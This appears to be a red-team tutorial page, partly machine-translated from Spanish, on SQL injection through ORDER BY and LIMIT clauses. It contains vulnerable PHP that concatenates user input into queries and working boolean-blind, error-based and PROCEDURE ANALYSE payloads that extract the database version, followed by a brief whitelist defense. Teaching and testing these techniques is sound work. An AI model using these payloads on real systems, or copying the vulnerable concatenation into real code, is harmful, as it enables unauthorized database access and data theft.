📕 FIELD MANUAL 16.1: EXOTIC INJECTIONS (ORDER BY & LIMIT)
Objective: We will exploit SQL injections in clauses where UNION and WHERE do not work or are prohibited.
Classification: RED TEAM EYES ONLY
Objective: We will exploit SQL injections in clauses where UNION and WHERE do not work or are prohibited.
MITRE ATT&CK: T1190.
1. INTEL & RECON: OUTSIDE THE “WHERE”
Sección titulada «1. INTEL & RECON: FUERA DEL “WHERE”»Most WAFs monitor WHERE. However, developers often concatenate input in “Sort by” or “Pagination” functionalities.
Vulnerable Code (PHP):
$sort = $_GET['sort']; // Ej: 'price'$query = "SELECT * FROM products ORDER BY $sort";Why the classic approach fails:
ORDER BY price UNION SELECT...-> Syntax error. We cannot perform a UNION after an ORDER BY in the same statement.
2. WEAPONIZATION: TAKING CONTROL OF THE ORDER
Sección titulada «2. WEAPONIZATION: TOMANDO EL CONTROL DEL ORDEN»TECHNIQUE A: Boolean-Based in ORDER BY
Sección titulada «TÉCNICA A: Boolean-Based en ORDER BY»We can inject a Yes/No question. If it is True, we will order by one column. If it is False, we will order by another.
- Payload:
(CASE WHEN (1=1) THEN price ELSE name END)- If 1=1, we will order by price.
- Attack (Blind):
(CASE WHEN (substring(version(),1,1)='5') THEN price ELSE name END)- If the version is 5, the products will be sorted by price.
- Otherwise, they will be sorted by name.
- Result: We will exfiltrate data based on the visual order of the elements.
TECHNIQUE B: Error-Based in ORDER BY
Sección titulada «TÉCNICA B: Error-Based en ORDER BY»We can force a conversion or execution error.
- Payload:
(SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)- This is a known “Double Query” attack. It will display the version in the error.
TECHNIQUE C: Injection in LIMIT (Pagination)
Sección titulada «TÉCNICA C: Injection en LIMIT (Paginación)»Often at the end of the query: SELECT ... LIMIT 10, $offset.
- Problem: After LIMIT, almost nothing can be placed in standard MySQL.
- Solution:
PROCEDURE ANALYSE().- Payload:
1 PROCEDURE ANALYSE(extractvalue(rand(),concat(0x3a,version())),1) - This will execute a parsing function that allows injecting XML Errors and extracting data.
- Payload:
3. PURPLE TEAM VIEW (DEFENSE)
Sección titulada «3. PURPLE TEAM VIEW (DEFENSA)»-
Defense: NEVER concatenate in
ORDER BY. -
Whitelist: We will use a strict whitelist in the code.
$allowed_sorts = ['price', 'name', 'date'];if (!in_array($_GET['sort'], $allowed_sorts)) { die("Hacking attempt"); }

